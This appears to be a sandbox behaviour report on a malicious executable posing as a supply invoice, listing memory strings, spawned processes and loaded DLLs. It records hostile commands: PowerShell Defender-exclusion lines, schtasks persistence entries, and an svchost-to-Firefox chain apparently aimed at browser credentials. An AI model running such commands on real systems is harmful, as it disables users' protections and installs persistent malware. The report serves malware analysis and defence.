Source: z1SupplyInvoiceCM60916_Doc.exe, 00000000.00000000.2119876614.0000000000F92000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000000F.00000002.4578189641.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.4578736616.0000000003B2C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.2582857930.000000003223C000.00000004.80000000.00040000.00000000.sdmp, dpqsbGoWdXlp.exe.0.dr	Binary or memory string: UPDATE [dbo].[Users] SET [UserName] = @UserName, [Password] = @Password WHERE (([UserName] = @Original_UserName) AND ([Password] = @Original_Password));
Source: z1SupplyInvoiceCM60916_Doc.exe, 00000000.00000000.2119876614.0000000000F92000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000000F.00000002.4578189641.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.4578736616.0000000003B2C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.2582857930.000000003223C000.00000004.80000000.00040000.00000000.sdmp, dpqsbGoWdXlp.exe.0.dr	Binary or memory string: INSERT INTO [dbo].[Jurnal] ([Date], [Operation], [Table_name], [Old_values], [New_values]) VALUES (@Date, @Operation, @Table_name, @Old_values, @New_values);
Source: z1SupplyInvoiceCM60916_Doc.exe, 00000000.00000000.2119876614.0000000000F92000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000000F.00000002.4578189641.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.4578736616.0000000003B2C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.2582857930.000000003223C000.00000004.80000000.00040000.00000000.sdmp, dpqsbGoWdXlp.exe.0.dr	Binary or memory string: UPDATE [dbo].[Orders] SET [C_id] = @C_id, [order_date] = @order_date, [sheeped_date] = @sheeped_date, [O_maodifaydate] = @O_maodifaydate WHERE (([Order_id] = @Original_Order_id) AND ([C_id] = @Original_C_id) AND ([order_date] = @Original_order_date) AND ([sheeped_date] = @Original_sheeped_date) AND ((@IsNull_O_maodifaydate = 1 AND [O_maodifaydate] IS NULL) OR ([O_maodifaydate] = @Original_O_maodifaydate)));
Source: z1SupplyInvoiceCM60916_Doc.exe, 00000000.00000000.2119876614.0000000000F92000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000000F.00000002.4578189641.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.4578736616.0000000003B2C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.2582857930.000000003223C000.00000004.80000000.00040000.00000000.sdmp, dpqsbGoWdXlp.exe.0.dr	Binary or memory string: UPDATE [dbo].[Jurnal] SET [Date] = @Date, [Operation] = @Operation, [Table_name] = @Table_name, [Old_values] = @Old_values, [New_values] = @New_values WHERE (([Date] = @Original_Date) AND ([Operation] = @Original_Operation) AND ([Table_name] = @Original_Table_name));
Source: svchost.exe, 0000000F.00000002.4576349725.0000000002E72000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.2474990393.0000000002E6F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.2475117325.0000000002E72000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.2477035867.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.4577223668.0000000002ECB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: z1SupplyInvoiceCM60916_Doc.exe, 00000000.00000000.2119876614.0000000000F92000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000000F.00000002.4578189641.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.4578736616.0000000003B2C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.2582857930.000000003223C000.00000004.80000000.00040000.00000000.sdmp, dpqsbGoWdXlp.exe.0.dr	Binary or memory string: UPDATE [dbo].[Product] SET [Product_name] = @Product_name, [p_modifaydate] = @p_modifaydate WHERE (([Product_id] = @Original_Product_id) AND ([Product_name] = @Original_Product_name) AND ((@IsNull_p_modifaydate = 1 AND [p_modifaydate] IS NULL) OR ([p_modifaydate] = @Original_p_modifaydate)));

Source: z1SupplyInvoiceCM60916_Doc.exe

ReversingLabs: Detection: 47%

Source: z1SupplyInvoiceCM60916_Doc.exe

String found in binary or memory: Cascade OrdersAcloseAllWindowsToolStripMenuItem#Close all windows-helpsToolStripMenuItem

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe

File read: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe

Source: unknown	Process created: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe "C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe"
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dpqsbGoWdXlp" /XML "C:\Users\user\AppData\Local\Temp\tmp68D8.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process created: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe "C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\SysWOW64\svchost.exe"
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dpqsbGoWdXlp" /XML "C:\Users\user\AppData\Local\Temp\tmp9353.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process created: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe "C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe"
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe"	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe"	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dpqsbGoWdXlp" /XML "C:\Users\user\AppData\Local\Temp\tmp68D8.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process created: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe "C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dpqsbGoWdXlp" /XML "C:\Users\user\AppData\Local\Temp\tmp9353.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process created: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe "C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe"	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\SysWOW64\svchost.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
